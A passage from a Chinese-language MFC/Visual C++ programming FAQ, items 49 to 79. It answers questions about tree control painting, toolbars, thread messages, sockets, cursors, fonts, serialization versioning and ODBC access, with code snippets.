WPARAM wParm, LPARAM lParm ) { UNUSED( wParm ) ; UNUSED( lParm ) ; AfxMessageBox("User Open", MB_OK|MB_ICONEXCLAMATION); }当然,也别忘了以下声明:class CThread : public CWinThread { DECLARE_DYNCREATE(CThread) protected: CThread(); // protected constructor used by dynamic creation afx_msg void OnUserOpen( WPARAM wParm, LPARAM lParm );(49)TreeCtrl控制的显示速度太慢?我从CTreeCtrl继承了一个TREE控制类,重载主要是为了改写每个节点的文本.我在 OnPaint函数中写了一些代码,但这严重地影响了TREE控制的滚动速度.OnPaint函数1.可见节点,对于GetFirstVisibleItem和GetNextVisibleItem来讲,是:  a.根节点;b.父节点已展开的节点;因此,"可见"意味着"没有被未展开的父节点隐藏".当节点滚动到客户外时,它对上述两个函数来讲仍是可见的.2.当TREE的内容改变时,它默认只将变为可见的节点重绘.另外其它已经是可见的节点没有必要重绘,TREE只是滚动DC的位图而已.上面的意思是不要绘制你不需要看的节点,那会导致速度降低.建议,测试节点矩形是否在客户区,使得只有需要绘制的节点才会被绘制.void CIndentTree::OnPaint() { CPaintDC dc(this); // device context for painting HTREEITEM hItem = NULL; DRAWITEMSTRUCT dis; CRect rc; // redraw only visible items with indentation for( hItem = GetFirstVisibleItem(); hItem; hItem = GetNextVisibleItem( hItem ) ) { if( !GetItemRect( hItem, rc, FALSE ) ) continue; if( rc.top <= dc.m_ps.rcPaint.bottom && rc.bottom > dc.m_ps.rcPaint.top &&=20 rc.left <= dc.m_ps.rcPaint.right && rc.right > dc.m_ps.rcPaint.left ) { dis.hwndItem = (HWND)hItem; dis.rcItem = rc; OnDrawItem(0, &dis, &dc); } } }OnDrawItem函数1.删掉如下代码:IMAGEINFO* pinfo = new IMAGEINFO; ... delete pinfo;没有必要使用动态的IMAGEINFO变量,你可以将其定义为堆栈变量.2.GetItemState和GetItemText都是使用的GetItem,因此,你只需调用一次, 就可以从节点获得你要的所有信息.(50)关于工具条?我需要在程序中做一个FLAT工具条,于是我加入一个变量m_wndToolBar. 在程序主体窗口的OnCreate()函数中修改工具条状态(0,TBSTYLE_FLAT). 在NT中运行正常,为什么在95中工具条变得透明?在COMCTL32.DLL中的旧版本中有些小bug,绘画时会带来一些问题, 你可以使用一些定制代码,在 www.codeguru.com 站点上有下载,如果你使用的是6.0版本,你也可以使用下列代码(摘自我的mainfrm.cpp文件)m_wndToolBar.CreateEx(this, TBSTYLE_FLAT, WS_CHILD | WS_VISIBLE | CBRS_TOP | CBRS_GRIPPER | CBRS_TOOLTIPS | CBRS_FLYBY | CBRS_SIZE_DYNAMIC);用CreateEx替换ModifyStyle在同一尺寸的工具条中有些不同((CreateEx 建立的略小些),试一下,如果你仍然有这个问题,检查一下COMCTL32.DLL的版本使用标准按钮替换FLAT.(51)关于线程消息?真奇怪,OnUserOpen()函数和OnUserOpen(WPARAM, LPARAM)函数竟然不是一个函数,编译器在查到OnUserOpen(WPARAM, LPARAM)时,不会调用OnUserOpen 莫非有人在消息映象做了什么手脚?其实,这是MFC严密的表现,处理时,通过函数指针来调用,而该指针是由发生的事件所决定的.如果句柄不正确定义的话,调用当然是非法的(52)关于控件的焦点?有谁能给我一个有效的方法:当一个控件失去焦点时,怎样管理才能使对话框的焦点进入到正确的控件.我有一个可运行的程序来实现,不一定很全面,但能工作.const int WM_VALIDATE_PARAMS WM_APP + 101; void CMyDlg::OnKillfocusName() { PostMessage(WM_VALIDATE_PARAMS, ED_NAME, 0L); } void CMyDlg::OnKillfocusAddress() { PostMessage(WM_VALIDATE_PARAMS, ED_ADDRESS, 0L); } bool CMyDlg::OnValidateParams(WPARAM rcId, LPARAM) { switch( rcId ) { case ED_NAME: if( !validateName() ) m_edName.SetFocus(); break; case ED_ADDRESS: if( !validateAddress() ) m_edAddress.SetFocus(); break; default: break; } return true; }上面的代码可以在用户使用TAB键或鼠标操纵时,使用焦点跳至下一个控制.当你想DISABLE一个控件或重设焦点时,会有些问题,特别是在Killfocus事件中。(53)如何捕获键盘按键?在CTabCtrl的子对话框怎样才能捕获ALT+0组合键可以在PreTranslateMessage中截取键盘消息。(54)怎样实现3D效果?在对话框中怎样实现Edit和Listboxes控件的3D效果?(环境95/NT VC5.0)1). 使用带WS_EX_CLIENTEDGE标志的::CreateWindowEx来替换::CreateWindow 或者用CWnd::CreateEx替换CWnd::Create.2).在建立控件之后,调用ModifyStyleEx(0, WS_EX_CLIENTEDGE).(55)怎样建立客户CSocket?我有一个客户socket想在socket中建立一个局域联接.我使用下列顺序:CSocket* m_pSocket; m_pSocket = new CSMSSocket(this); m_pSocket->Create(); m_pSocket->Bind(m_intHostPort, m_strHostIPAddress); m_pSocket->Connect(lpszAddress, nPort);/但每次Windows Socket都定向到别的端口,怎样才能定向到同一个端口(环境:95/NT VC5.0).1).如果你想用Client Socket,你就不能在connect()之前调用bind(),因为局域端口地址由TCP/IP设置,我们不可能知道下一次将使用那一个端口,我想我们不必这做.2).看一下Create()的帮助,里面告诉我们必须给Create()指定一个端口值, 缺省的情况为0,也就是由Window为我们选择一个端口,通过Create()将会自动捆绑. 3).我不认为你应该完成所有的工作,但想总是用一个相同的端口来连接远程机器是一个不正确的想法.问题出在端口数/地址结合必须唯一,如果你想在Create()中指一个固定的端口数,你只能与远程机器建一个单个连接.在你所写的代码中是允许局域端口数可变化,可以打开多个连接来取得相同的地址.在侦听(listening)Socket中有许多理由使用一个固定端口,但在连接(connecting Socket中我想没有太多的必要.(56)Disable一个非模态对话框的客户区?我在OCX(对象连接和嵌入客户控制程序)有一个非模态对话框.它有一个菜单以及工具条.现在我想Disable客户区(只是客户区,例如:设置特殊变量时显示一个等待光标,区域里的所有控制都不可以处理)但在客户区的所有控制要看上去没有变化(也就是不可以Disable)可以这样试一下,建立一个子窗口,覆盖对话框的全部的用户区域,用WS_EX_TRANSPAPENT 透明类型,然后调用函数EnableWindow(FALSE),使用SetClassLong或者别的方法,在子窗口调用"忙"光标,这时光标就正确了,但对话框中的菜单还能正常使用.(说白了就是建立一个透明的子窗口盖住所有的用户区域,然后Disable该透明窗口,在这个窗口中设置光标为"忙") 这个方法我没有试过,但在一些老的Windows的书介绍过这种方法.(57)关于使用SetClassLong和SetCapture问题我用SetClassLong设置对话框光标时遇到了一些问题,当我使用SetCapture捕获鼠标时,光标形状并没有变化时,以下为原代码:void CMouseMoveSimDlg::OnLButtonDown(UINT nFlags, CPoint point) { myDragging = TRUE; myhPrevCursor = (HCURSOR)SetClassLong( m_hWnd, GCL_HCURSOR, (long)LoadCursor(AfxGetInstanceHandle(),MAKEINTRESOURCE(IDC_SELECTCURSOR ))); SetCapture(m_hWnd); CDialog::OnLButtonDown(nFlags, point); }如果移去SetCapture这一行,光标就会正确的设置,但它就不能正确的捕获鼠标消息.那儿出问题了(环境NT4.0 VC6.0)?1).如果我没有记错的话,SetClassLong只影响调用它以后的建立的窗口.可以使用 SetWindowLong来改变已存在的窗口的属性.(为什么要用SetClassLong来改变光标形状, 为什么不在消息WM_SETCURSOR中替换.)2).我也不清楚问题出在那儿,但下面的方法可以克服SetCapture带来的问题,它是从我的程序里面提出来的:void CScribbleView::OnLButtonDown(UINT nFlags, CPoint point) { ........ SetCapture(); // Capture the mouse until button up myhPrevCursor = (HCURSOR)SetClassLong( m_hWnd, GCL_HCURSOR, (long)LoadCursor(AfxGetInstanceHandle(),MAKEINTRESOURCE(IDC_CURSOR1))); SetCursor(LoadCursor(AfxGetInstanceHandle(),MAKEINTRESOURCE(IDC_CURSOR1))); ........ } void CScribbleView::OnLButtonUp(UINT nFlags, CPoint point) { if( GetCapture() != this ) return; ........ ReleaseCapture(); SetClassLong( m_hWnd, GCL_HCURSOR, (long)myhPrevCursor); return; }(58)动画控件?我在对话框中使用一个动画控件,通常我都是用CAnimated的open成员函数,并加上avi的文件名来使用动画控件,怎样在资源文件加入一个avi文件,作为资源使用?1).简单,将avi文件引入资源,按你的喜欢来决定是属于那一种类型的,通过ID来代替文件的名字,这样你就可以使用了.2).在资源窗口中单击右键,在弹出的菜单中选择"Import".这时会打开文件选择框,选择所要的文件,这时系统将会询问自定义资源类型,输入avi.一个AVIS的资源组将会创立,你所选的avi文件将会出现在该组中并拥有一个ID.3).手动在资源文件中加入一个AVI资源说明,比如://在这手工编辑资源文件 IDR_ANIMATION AVI res/animate.avi(59)错误声明的消息?我给一个视发送一条消息pView->SendMessage (MY_MESSAGE, wparam, lparam);消息声明被认为是不正确的afx_msg void OnMyMessage();高手一看就知道这是一条命令错误的声明对象,正确的声明应该为:afx_msg LERSULT OnMyMessage (WPAPRAM wparam, LPARAM lparam);因为我不使用参数,程序工作也很好,所以我不知道为什么会有这种错误,该过程处理完之后也没有任何错误的信息出现.但现在release版本中有一个奇怪的现象(debug版本中没有)程序会非正常终止,通常这现象发生在SendMessage()返回之后。为什么?1.相信问题是出在错误的堆栈上,"thiscall"调用后就应该清除堆栈,调用者调用时将两个参数压入堆栈,但参数却没有被清除.如果你真的不需要WPARAM,LPARAM,也不需要返回值的话,你可以使用ON_MESSAGE_VOID 消息声明.在afxpriv.h中定义,是非文档的,意思就是它不会有什么提示或可能中断程序, 另外,需要注意一下线程消息,注意线程消息是可变的,它们将返回void,没有LRESULT,同样的声明.2.如果你不使用WParam和LParam,为什么不在视中定义一个用户函数来处理自己想做的?(59)怎样模拟鼠标动作?这是困扰我多时的一个问题,怎样才能实现模拟鼠标的动作,就是说要使一个程序实现鼠标的单击,双击,拖放等功能.我认为必须要实现相应的消息传递,但每次都不成功.比如说,我想关闭记事本窗口,可以传送WM_lBUTTONDOWN和WM_LBUTTONUP(X,Y值为记事本的右上角关闭按钮的位置)给记事本窗口,但窗口并没有关闭.当然,我也知道关闭一个窗口可以通过传送WM_QUIT或WM_CLOSE来实现,但鼠标的消息为什么会丢失?请教各位大师,怎样模式模拟实现鼠标的动作,或者给我一些怎样发送消息来关闭窗口的建议(不是WM_CLOSE或WM_QUIT)1).试一下window hooks,你可以使用SetWindowsHookEx和JournalPlayback来处理鼠标事件.2).你可以使用文档中的SendInput(),它能实现模拟键盘或鼠标事件.如果你使用NT,那也可以用老的函数像mouse_event(),keyb_event等,在Win98中,SendInput()一样可以使用.3).抱歉不能给你一个满意的回答,你可以在网站 http://www.microsoft.com/enable/dev/tooldev.htm 中找到一篇关于模拟输入的文章.4).在NT中可以使用mouse_event()传递事件,文档上说这种方法已经过时了,那么你可以用 SendInput()替换,但找不到关于此函数的使用说明,所以我依然使用mouse_event,没有任何问题.(60)改变对话框标题字体?怎样改变对话框标题文件的字体,改变资源中对话框属性中的字体,将改变所有的控件的字体, 却没有改变标题,但我只想改变标题字体,不改基余控件的属性.是不是我错过一些明显的选项. 通过查找一些MFC代码,我发现有一个CDialog模块,里面调用了一引起字体方法,但该对话框不是公用的,我相信它不会给我任何帮助.1).就我所知,对话框的标题字体和其它的窗口标题一样,它可以通过系统--显示器--属性--外观来设置,如果自己想这样做,我想你应该取得WM_NCPAINT句柄自己来画出非用户区域(包括标题在内),我从未做这样做过,可能是个错误的方向.2).如果你是在CView继承的,那你可以在构造函数中看见如下代码:if( !my_CFont .CreatePointFont( 180,"Helvetica",NULL ) ) return false; GetEditCtrl().SetFont( &my_CFont ,true ) 接下来如果你想改变在对话框中的一个CEdit控件字体时,可以使用以下代码: if( !my_CFont .CreatePointFont( 180,"Helvetica",NULL ) ) return false; ( GetDlgItem (ID_ANY_CEDIT) ) ->SetFont( &my_CFont );(61)怎样知道CWinThread对象的状态?怎样才能知道一个线程是在运行还是已经终止?可以利用线程句柄所指的::GetExitCodeThread()函数,如果线程已经结束, 它将返回一个退出代码,如果还在运行,则返回一个STILL_ACTIVE.不过在之此前,先将 CWinThread成员对象m_bAutoDelete设置为FALSE.另外对象在线程结束时会自动检测到.(62)如何调整控件对话框条的大小?我想让用户能够在控制条出现时控制它的大小,在所有的例子中,在控件浮动时,改变尺寸还可以,但在工具条停靠在框架上时就无法调整其大小,该怎样实现?1)也许你错过了一些注意点,我用的是codeguru站点上下载的CCoolDialogBar类, 在工具条停靠时也可以重新改变其大小.2)我开发了一个应用程序,它的界面跟你所说的差不多,让我试着解释一下我是怎样做的.1.从CDialogBar类中继承一个类,名为CMyBar;2.在CMyBar中增加一个成员变量,int m_iWidth;3.在CMyBar中的OnPaint和OnNcPaint中画出工具条(grab bar);4.拖动工具条时在鼠标事件时绘出轨迹;5.释放鼠标时,计算CMyBar新宽度.可以通过取得当前轨迹位置,使m_iWidth等于新的宽度;6.(重要)GetDockingFrame()->RecalcLayout();7.在CMybar中增加一个成员方法CalcDynamicLayout;8.在CalcDynamicLayout中,当工具条停靠时,通过计算m_iWidth返回值.当然,这只是一个很简单的方法,你可以做得比这更好.3)可以试一下VC6.0中的CReBar类(63)如何顶端显示CStatic类文字?我正写一个小的应用程序,我想显示一串文本(CStatic)并且无论别的应用程序运行时是否覆盖,这些文字总会在最上面显示.1)用CreateEx来建立一个WS_POPUP窗口,使这个窗口总在最上面(always on top) 然后在该窗口中实现文字显示.2)建立窗口时用SetWindowPos()函数,用&wndTopMost作为第一个参数,这样就可以完成你想做的了.(64)消息句柄出了什么事?我在CParentView中为WM_LBUTTONDOWN定义一个句柄,但我建个新的CChildView, 句柄得不到处理.1)仔细看一下你ChildView文件中的MESSAGE_MAP,可能在第两个参数匹配 BEGIN_MESSAGE_MAP(Child,Parent)中有着错误的基类.如果你是用向导生成器, 那么你很容易就会发生这种事情.2)检查一下消息映象宏中的类名和父类名是否正确,比如BEGIN_MESSAGE_MAP (CChildView,CParentView).如果你用自己的消息句柄手工代替了向导所做的,确信你的改动是正确的, 一个错误的参数或者加了一个"const"将会改变消息映象而不会被正确调用.3)我猜想你一定是用类向导生成器来建立你的CChildView,而且在基类的选择中一定是选了CView,自己动手在消息映象中把它修改过来.(65)树形控件为何闪烁?我从CTreeCtrl中继承了一个类,以缩进的格式显示节点,现在我碰上些问题,当树被重画两次之后(一次为缺省,另一次为对齐文本时)点选节点树就会闪烁.1)试一下LockWindowUpdate()API函数。2)试一下加入TVS——HASBUTTONS标志,ModifyStyleEx(TVS_HASBUTTONS, 0); ....//drawing ModifyStyleEx(0, TVS_HASBUTTONS);如果它不再闪烁,那么在将其定义为自画属性,用PreCreateWindow()中加入CS——OWNDC。(66)怎样才能关闭树形控件中的滚动条?我想关闭树形控件的滚动条,但它依然显示出来,怎样才能隐藏它?1)在建立时加入TVS_NOSCROLL,注意此时你就不可以用键盘来实现翻页,这种类型需要comct32.dll4.71版本以上才可以,并且要在commctrl.h中定义如#define TVS_NOSCROLL 0x2000.2)值得这样试一下 ModifyStyle(WS_VSCROLL,0),将这段代码放在建立之后,显示之前。(67)如何建立一个带滚动条的窗口?我想建立一个带滚动的子窗口,但我没有用向导生成器。如果你让你的窗口有一个滚动条,你必须首先初始化。如下SCROLLINFO si; si.cbSize = sizeof( SCROLLINFO ); si.fMask = SIF_PAGE | SIF_RANGE; si.nMin = 0; si.nMax = 100; si.nPage = 10; SetScrollInfo( SB_HORZ, &si ); si.nMin = 0; si.nMax = 50; si.nPage = 5; SetScrollInfo( SB_VERT, &si );如果程序运行时你的窗口内容已经改变或者窗口被改变大小而重画时,你必须重新设置滚动条。在MFC中包含类CScrollView,它已内建滚动条。(68)如何实现对话框的拖放?我有一个对话框程序,想让它实现拖放。但无论用OnDrag或OnDrop等等,所有的的消息都发送给CView类而不是CDialog类,为什么?你应该使用COleDropTarget类,试一下这些:class CMyOleDropTarget: public COleDropTarget { protected: virtual DROPEFFECT OnDragEnter( CWnd* pWnd, COleDataObject* pDataObject, DWORD dwKeyState, CPoint point ) { TRACE( "DRAG Enter/n" ); return DROPEFFECT_MOVE; }; virtual DROPEFFECT OnDragOver( CWnd* pWnd, COleDataObject* pDataObject, DWORD dwKeyState, CPoint point ) { TRACE( "DRAG Over/n" ); return DROPEFFECT_MOVE; }; }; CMyOleDropTarget DropTarget; BOOL CDlgDlg::OnInitDialog() { CDialog::OnInitDialog(); DropTarget.Register( this ); 不要忘记调用AfxOleInit() BOOL CDlgApp::InitInstance() { AfxEnableControlContainer(); AfxOleInit(); }(69)TrackMouseEvent()怎么了我使用TrackMouseEvent()函数来跟踪鼠标是否已经离开我的窗口,但在MFC中,如果我使用 ::TrackMouseEvent()系统告诉我没有定义,为什么?1).请使用_TrackMouseEvent2).在commctrl.h显示为_TrackMouseEvent(),请注意下划线.3).可能TrackMouseEvent()不支持Win98(在NT中工作得非常好),建议你结合WM_MOUSEMOVE消息和 SetCapture()函数,当鼠标移出窗口时你依然可以控制.(70)奇怪的组合框控件我有一个对话框程序,里面只有几个下拉式给合框.但当鼠标箭头移动到组合框的上下按钮时,会变成"6"或"9",一会儿又恢复到原状,这是为什么?1)也许是你的操作系统有问题,不防重新起动一次也许就行了(概率非常小8%-())你也可以试一下系统清除工具,如果这事情经常发生,可能你真的需要重装一下95或NT,这也是个好的建议,每隔半年左右可以重装一下系统.2).我猜想可能是comctl32.dll文件被破坏了.3).这个问题的原因很有可能是系统的资源不够,你可以试着关闭一些程序、减少屏幕的分辨率来增加一些系统资源。(71)关于使用MS SANS SERIF字体我看过好多关于创建对话框、组合框等等使用MS SANS SERIF的例子,自己也做过多次。如: m_font.CreatePointFont (80, _T("MS Sans Serif")); 或 m_font.Create (-8, ....., _T("MS Sans Serif")); 那么想问一下:1)该字体是否在所有的版本中都能实现(包括国际版本) 2)在控制面板上有没有更好的字体代替“SYSTEM”字体?如果有人这样做了,那又是怎样设置字体大小等相关设置的?我希望有一个彻底的方法来选择组合框等的字体。1)有件事情我做过,在我所有的程序界面中都改变了字体.消息框来显示用户选择的字体. 菜单,工具条以及其他控件的字体都随用户意愿改变.但在对话框中最好还是用对话框编辑器, 其基本字体都是MS SANS SERIF,所以我也以这种字体来作为所有的用户界面. 以下为我所做的代码:// here's the font I use: SystemParametersInfo( SPI_GETNONCLIENTMETRICS, 0, &ncm, 0); m_fntUI.CreateFontIndirect(&ncm.lfMessageFont); // here's the code to change the font for a wnd and all it's children, and resize the controls appropriately void ChangeDialogFont(CWnd* pWnd, CFont* pFont, int nFlag) { CRect windowRect; // grab old and new text metrics TEXTMETRIC tmOld, tmNew; CDC * pDC = pWnd->GetDC(); CFont * pSavedFont = pDC->SelectObject(pWnd->GetFont()); pDC->GetTextMetrics(&tmOld); pDC->SelectObject(pFont); pDC->GetTextMetrics(&tmNew); pDC->SelectObject(pSavedFont); pWnd->ReleaseDC(pDC); long oldHeight = tmOld.tmHeight+tmOld.tmExternalLeading; long newHeight = tmNew.tmHeight+tmNew.tmExternalLeading; if (nFlag != CDF_NONE) { // calculate new dialog window rectangle CRect clientRect, newClientRect, newWindowRect; pWnd->GetWindowRect(windowRect); pWnd->GetClientRect(clientRect); long xDiff = windowRect.Width() - clientRect.Width(); long yDiff = windowRect.Height() - clientRect.Height(); newClientRect.left = newClientRect.top = 0; newClientRect.right = clientRect.right * tmNew.tmAveCharWidth / tmOld.tmAveCharWidth; newClientRect.bottom = clientRect.bottom * newHeight / oldHeight; if (nFlag == CDF_TOPLEFT) // resize with origin at top/left of window { newWindowRect.left = windowRect.left; newWindowRect.top = windowRect.top; newWindowRect.right = windowRect.left + newClientRect.right + xDiff; newWindowRect.bottom = windowRect.top + newClientRect.bottom + yDiff; } else if (nFlag == CDF_CENTER) // resize with origin at center of window { newWindowRect.left = windowRect.left - (newClientRect.right - clientRect.right)/2; newWindowRect.top = windowRect.top - (newClientRect.bottom - clientRect.bottom)/2; newWindowRect.right = newWindowRect.left + newClientRect.right + xDiff; newWindowRect.bottom = newWindowRect.top + newClientRect.bottom + yDiff; } pWnd->MoveWindow(newWindowRect); } pWnd->SetFont(pFont); // iterate through and move all child windows and change their font. CWnd* pChildWnd = pWnd->GetWindow(GW_CHILD); while (pChildWnd) { pChildWnd->SetFont(pFont); pChildWnd->GetWindowRect(windowRect); CString strClass; ::GetClassName(pChildWnd->m_hWnd, strClass.GetBufferSetLength(32), 31); strClass.MakeUpper(); if(strClass==_T("COMBOBOX")) { CRect rect; pChildWnd->SendMessage(CB_GETDROPPEDCONTROLRECT,0,(LPARAM) &rect); windowRect.right = rect.right; windowRect.bottom = rect.bottom; } pWnd->ScreenToClient(windowRect); windowRect.left = windowRect.left * tmNew.tmAveCharWidth / tmOld.tmAveCharWidth; windowRect.right = windowRect.right * tmNew.tmAveCharWidth / tmOld.tmAveCharWidth; windowRect.top = windowRect.top * newHeight / oldHeight; windowRect.bottom = windowRect.bottom * newHeight / oldHeight; pChildWnd->MoveWindow(windowRect); pChildWnd = pChildWnd->GetWindow(GW_HWNDNEXT); } }(72)为什么DLL在字符串表中找不到字符串我用向导生成器中的"Use MFC in a Shared DLL"选项建立一个DLL,在字符串表资源中加一个字符串,当我使用csMyString.LoadString( IDS_MY_STRING ) csMyString 是空的,为什么会这样?1)MFC是由AfxGetResourceHandle调用资源的.所以,如果你想在你的DLL中读出资源应该使用 AfxSetResourceHandle.你也可以在LoadLibrary的返回值中得到它,如果不想调用该DLL时也可以使用DLLMain函数的hInstance参数.2)试一下在你函数打头处使用AFX_MANAGE_STATE(AfxGetStaticModuleState()) (事实上每个被外部DLL调用的每一个函数都会使用它)3)我记得先前的列表讲过这个问题,试一下以下两种方法: 如果你是用LoadLibrary()来调用DLL的,它会返回一个句柄,你可以在 AfxSetResourceHandle()中使用它.如:hinstnew = Loadbrary(...); ... hinstOld = AfxGetResourceHandle(); AfxSetResourceHandle(hinstnew); LoadString(IDS_MY_STRING); AfxSetResourceHandle(hinstOld); // remember to set this back, // or your night won't be nice.如果你不是用LoadLibrary来调用DLL又该怎样办呢?你可以使用 GetModule("You DLL Name")来取得用户句柄,剩下的就好办了.(73)关于复选框的文本颜色有谁知道怎样才能改变复选框中的文本选项的颜色?1)你有没有试过在控件中使用OnCtlColor,它将在重画任何控件之前被调用,所以你可以有机会来改变文本选项的颜色。2)为什么你一定要用PreDrawItem()?你是想在里面做一些特定的代码?我认为DrawItem() 也能处理。在调用重画函数之前取得索引号并改变颜色。(74)系列化与版本的问题我需要使用系列化来读取我的文件,为了保证文件能在各个版本中都能实现,我作了尽可能的努力,为什么会不成功.答:下面的代码是我过去使用过的,希望能对你有所帮助// Use this macro to fix the versioning problem in the MFC // Place it at the beginning of your CMyObject::Serialize implementation - // it will guarantee that the correct version of the class is written to // and read from the archive // // Usage: SERIALIZE_VERSION(CMyObject) #define SERIALIZE_VERSION(this_class) ar.SerializeClass(this_class::GetRuntimeClass()); // For classes which cannot use IMPLEMENT_SERIAL (such as abstract // base classes). This guarantees the object can have [Read/Write][Class/Object] // called on it by placing a schema number in it. It also puts it in the // list of known class names (AFX_CLASSINIT). // Note: this is almost the same as IMPLEMENT_SERIAL_ABC // in "MFC Internals", but this version uses AFX_CLASSINIT, // with the result that it works! #define DECLARE_DYNAMIC_SERIAL(class_name) DECLARE_SERIAL(class_name) #define IMPLEMENT_DYNAMIC_SERIAL(class_name, base_class_name, wSchema) _IMPLEMENT_RUNTIMECLASS(class_name, base_class_name, wSchema, NULL) static const AFX_CLASSINIT _init_##class_name(RUNTIME_CLASS(class_name)); CArchive& AFXAPI operator>>(CArchive& ar, class_name* &pOb) { pOb = (class_name*) ar.ReadObject(RUNTIME_CLASS(class_name)); return ar; } 或者也可以这样实现: CMySerialRootDerivedClass::Serialize(CArchive& ar) { //CMySerialRoot::Serialize(ar); // <- do not call this here if (ar.IsStoring()) { ... store derived stuff here } else { int nVersion = ar.GetObjectSchema(); switch(nVersion) { case 1: ... load derived version 1 stuff here break; case 2: ... load derived version 2 stuff here break; default: // report unknown version of // this object break; } } // serialize the base class version information // -> then serialize the base class ar.SerializeClass(RUNTIME_CLASS(CMySerialRoot)); CMySerialRoot::Serialize( ar ); }(75)在一个控件内检测并使用ON_COMMAND消息有一个控件(继承CWnd)在CRormView.可不可以将它的ID在ON_COMMAND消息中发出,如果用pCtrl->OnCommand(ID_VIEW_ZOOMIN,..), 编译器会报告参数不匹配,该怎么办?1)为什么不用pCtrl->Post/SendMessage (WM_COMMAND, ID_VIEW_ZOOMIN)2)通过重载CYourFormView::OnCmdMsg就可以.如:BOOL CYourFormView::OnCmdMsg(UINT nID, int nCode, void* pExtra, AFX_CMDHANDLERINFO* pHandlerInfo) { return pCtrl->OnCmdMsg(nID, nCode, pExtra, pHandlerInfo) || CFormView::OnCmdMsg(nID, nCode, pExtra, pHandlerInfo); }3)使用WM_COMMAND消息,看一下关于WM_COMMAND和CWnd::PostMessage()的帮助.DWORD wParam; HIWORD(wParam) = wNotifyCode; // notification code LOWORD(wParam) = ID_VIEW_ZOOMIN; pCtrl->PostMessage(WM_COMMAND,(WPARAM)wParam, pCtrl->m_hWnd);4)能够这样做,但不是象你们做法,你们必须得到控件的句柄或CWnd指针然后在句柄中使用::SendMessage() or ::PostMessage();在CWnd中使用 CWnd::SendMessage() or CWnd::PostMessage() 试一下这个.CMyCtrl *pCtrl; /* call GetDlgItem() from an instance of your form view */ pCtrl = ( CMyCtrl * )GetDlgItem( IDC_MYCONTROL ); if( pCtrl != NULL && ::IsWindow( pCtrl->GetSafeHwnd( ) ) pCtrl->SendMessage( WM_COMMAND, /*wParam*/, /*lParam*/ ); // see WM_COMMAND description on help/MSDN for a detailed explanation of // {W|L}PARAM(76)为何MDI程序中有子窗口打开时主应用程序不能关.我在MDI程序中增加了一个CRichEditView文档模板,在子窗口视中我增加了下面一些代码.StartReport (void) { CReportFrame *rpt; CReportDoc *rptDoc; // First get the right document template POSITION pPos = theApp.GetFirstDocTemplatePosition(); theApp.GetNextDocTemplate ( pPos ); theApp.GetNextDocTemplate ( pPos ); CDocTemplate *pTemplate = theApp.GetNextDocTemplate ( pPos ); // Verify validity ASSERT(pTemplate != NULL); ASSERT_KINDOF(CDocTemplate, pTemplate); // Create the frame rptDoc = new CReportDoc; rpt = (CReportFrame*)pTemplate->CreateNewFrame ( rptDoc, NULL ); pTemplate->InitialUpdateFrame (rpt, rptDoc); // Get access to the display area CReportView *rptView = static_cast(rpt->GetActiveView()); CRichEditCtrl &rptCtrl = rptView->GetRichEditCtrl(); }CReportFrame继承于CMDIChildWndCReportDoc继承于CRichEditDocCReportView继承于from CRichEditView  如果我关闭程序前不关闭新建的视,调试器将认为程序依然在运行(程序管理器中依然存在) 我需要用调试菜单中的stop debugging来关闭程序;如果我手工关闭该视,程序将会正常关闭.如果有什么不同的话,在手工关闭新的视之前程序会询问是否保存. 那么怎样我才能关闭程序呢?1)我也碰上过对话框,窗口不能自动关闭的情况,这主要是因为继承的对象不正确所造成的。通常应该在主程序中设置AfxGetMainWnd().  你的程序让我搞糊涂了,一连使用了多个GetNextDocTemplate(pPos),在这些文档指针是NULL时通常会引起一些循环.在你的文档模板中是否已经精心算好了数目?这样可能会产生些bugs 我建议找出当前的文档模板用CDocTemplate::CreateNewDocument()来代替你的"new CReportDoc"2) 记住一个公共规则,关闭程序前要关闭所有的视.(77)滚动视中LPtoDP失败在WINDOWS98/95中,当你给光标指针位置大于32767或者小于-21768函数CDC::LPtoDP 将失败,程序工作在NT上但在95/98中用滚动视工作时却出现了问题. LPtoDP是在下面函数中被调用的:SetScrollSizes(MM_HIMETRIC, sizeTotal); 函数是在CScrollView中调用的.我使用的是HIMETRIC映射方式,在我想将A4扩大150%时这个问题就会出现。怎样才能解决这个问题?1)在95中确实存在这样的问题,95中的GDI不是32位的.当我们开发一个程序有编辑矢量图象时手动而不是由LPtoDP()函数来完成转换.(在NT中也存在同样的问题)2)简言之,CScrollView或CWnd之所以32位参数会失败是因为95/98并不是真正的32 位操作系统,里面仍然包含16位代码.比如Scrollbars还是只接受16位的值来调整范围. NT是一个真正的32位操作系统,就没有这些困惑.  在95中不得不面对类似的滚动大文档的问题时,我们只能另外写些代码来实现滚动的实际位置,当它超出-32K或+32K时,你也必须在你的应用中做些映射.  作为一个有关的注意点(可能你已经碰上过这个问题)如果在MFC处理滚动消息时,如: void CSomeWnd::OnVScroll (UINT nSBCode,UINT nPos, CScrollBar *pscrollBar) 中的 nPos参数只有16位长.克服这个限制可以使用SCROOLINFO结构运行::GetScrollInfo.SCROLLINFO 结构中的nTrackPos是一个真正的32位。(78)ODBC许可问题我有个程序想通过ODBC来使用一个MS Access数据库,但是却碰上了错误,系统显示 "Records can't be read; no read permission on table SESSION".(记录不能读, 表单不允许读))首先我假设access数据库有一个缺省的用户为"admin",可以这样完成"ODBC;UID=admin". 然后,当你继承CRecordset类时你就不必带参数打开,但下面的方法可能更好些:Open(CRecordset::dynaset, NULL,CRecordset::useBookmarks | CRecordset::skipDeletedRecords)  当然你必须提供DSN表示连接名字的数据库在ODBC之下.(79)怪异的字体我们有一个MFC应用程序,主窗口是在客户区域内画些文本和图形. 我们希望能在客户区域内显示文本,在不需要时则擦除.所以我们先得到一个DC(CClientDC), 然后设置字体和文本颜色就开始写文本,在擦除时,我们用同样的字体,同样的地方用背景色重写文本.  这种方法绝大部分情况下都工作得很好,但偶尔文本并不能完全擦除,有些像素点依然可见. 好象在写文本时比通常略微胖了些,就象用粗体一样.字体是在写文本时使用的,以后也没有进行过任何的调整. 下面是我们使用的写与擦除的函数.void CSign::DrawSignName(CDC* pDC) { int OldBkMode; // select the appropriate font CFont* pOldFont = (CFont*) pDC->SelectObject(pSignNameFont); OldBkMode = pDC->SetBkMode(TRANSPARENT); // determine the colour of the text if (IsSignNameVisible()) pDC->SetTextColor(aColours[SIGN_NAME_COLOUR]); else pDC->SetTextColor(aColours[DEVICE_INVISIBLE_COLOUR]); // draw the text pDC->TextOut(m_pointNameCoords.x, m_pointNameCoords.y, m_strName); // restore the previously used font and background mode pDC->SelectObject(pOldFont); pDC->SetBkMode(OldBkMode); } // DrawSignName  函数是在消息句柄中调用的,而参数中的DC是这样建立的:CClientDC dc(AfxGetMainWnd()).  